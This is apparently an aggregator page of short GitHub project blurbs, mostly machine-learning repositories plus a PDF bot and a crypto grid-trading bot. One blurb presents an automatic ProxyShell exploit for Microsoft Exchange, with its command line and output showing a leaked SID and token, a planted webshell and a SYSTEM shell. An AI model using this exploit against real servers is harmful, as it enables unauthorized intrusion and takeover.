Deep Learning, NLP, NMT, AI, ML
Convert Images to PDF Bot This bot will helps you to create pdf’s from your images [without leaving telegram] đ By Default: your pdf file_name = your ID(/id to get your id) You can customize Ur PDF name(/help for more) Demo Bot (free for everđ ) features: â
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Yinghao Aaron Li, Ali Zare, Nima Mesgarani We present an unsupervised non-parallel many-to-many voice conversion (VC) method using a generative adversarial network (GAN) called StarGAN v2. Using a combination of adversarial source classifier loss and perceptual loss, our model significantly outperforms previous VC models. Although our model is trained only with 20 English speakers, it generalizes to a variety of voice conversion tasks, such as any-to-many, cross-lingual, and singing conversion. Using a style encoder, our framework can also convert plain […]
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This basic baseboard gives the user the foundation and the flexibility to design their own baseboard for the Jetson Nano. It also repurposes some of the Jetson Nanoâs interface signals for simple beginner projects. This baseboard, as designed, contains: A 5V, 4A DC barrel jack 4 USB 2.0 connectors An HDMI connector A UART-to-USB bridge A debug USB A 40-pin GPIO A servo header Three user-interactive buttons (power, reset, and force recovery) A flex connector for an OLED display Use […]
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Build reusable components in Django without writing a single line of Python. {% #quote %} {% quote_photo src=”/project-hail-mary.jpg”
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Overview We release the code of the DSANet (Dynamic Segment Aggregation Network). We introduce the DSA module to capture relationship among snippets for video-level representation learning. Equipped with DSA modules, the top-1 accuracy of I3D ResNet-50 is improved to 78.2% on Kinetics-400. The core code to implement the Dynamic Segment Aggregation Module is codes/models/modules_maker/DSA.py. [July 7, 2021] We release the core code of DSANet. [July 3, 2021] DSANet has been accepted by ACMMM 2021. Prerequisites All dependencies can be installed […]
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python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt authoritysystemSHELL>â> usage: proxyshell.py [-h] -t T Automatic Exploit ProxyShell optional arguments: -h, –help show this help message and exit -t T Exchange URL Usage: C:>python3 proxyshell.py -t exchange.lab.local fqdn exchange.lab.local + [email protected] legacyDN /o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=admin leak_sid S-1-5-21-3626636094-1513906978-1376853856-1156 token VgEAVAdX[cut]AAAA== set_ews Success with subject badqxybxtecxuttq write webshell at aspnet_client/tjmzk.aspx nt […]
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This repository is the official PyTorch implementation of SwinIR: Image Restoration Using Shifted Window Transformer (arxiv, supp). SwinIR ahcieves state-of-the-art performance in bicubic/lighweight/real-world image SR grayscale/color image denoising JPEG compression artifact reduction đ đ đNews: Image restoration is a long-standing low-level vision problem that aims to restore high-quality images from low-quality images (e.g., downscaled, noisy and compressed images). While state-of-the-art image restoration methods are based on convolutional neural networks, few attempts have been made with Transformers which show impressive performance […]
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The code is designed to perform infinity grid trading strategy in FTX exchange. The basic trader named Gridtrader.py control the number of grids dynamically using the setting in JSON file. asyncGridtrader.py will do the same job asynchronously. Trader with database support, Gridtrader_with_db.py and asyncGridtrader_with_db.py, will store the transaction info in database via mysql. If the trader termineated accidentally, the next execution of trader will follow the history stored in the database. It is recommended to execeute the code in Linux […]
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This repository contains the Belgian Statutory Article Retrieval Dataset (BSARD), as well as the code to reproduce the experimental results from the associated paper by A. Louis, G. Spanakis, and G. Van Dijck. Abstract. Statutory article retrieval is the task of automatically retrieving law articles relevant to a legal question. While recent advances in natural language processing have sparked considerable interest in many legal tasks, statutory article retrieval remains primarily untouched due to the scarcity of large-scale and high-quality annotated […]
Read moreOne of the key aspects of supervised machine learning is model evaluation and validation. When you evaluate the predictive performance of your model, itâs essential that the process be unbiased. Using train_test_split() from the data science library scikit-learn, you can split your dataset into subsets that minimize the potential for bias in your evaluation and validation process. In this course, youâll learn: Why you need to split your dataset in supervised machine learning Which subsets of the dataset you need […]
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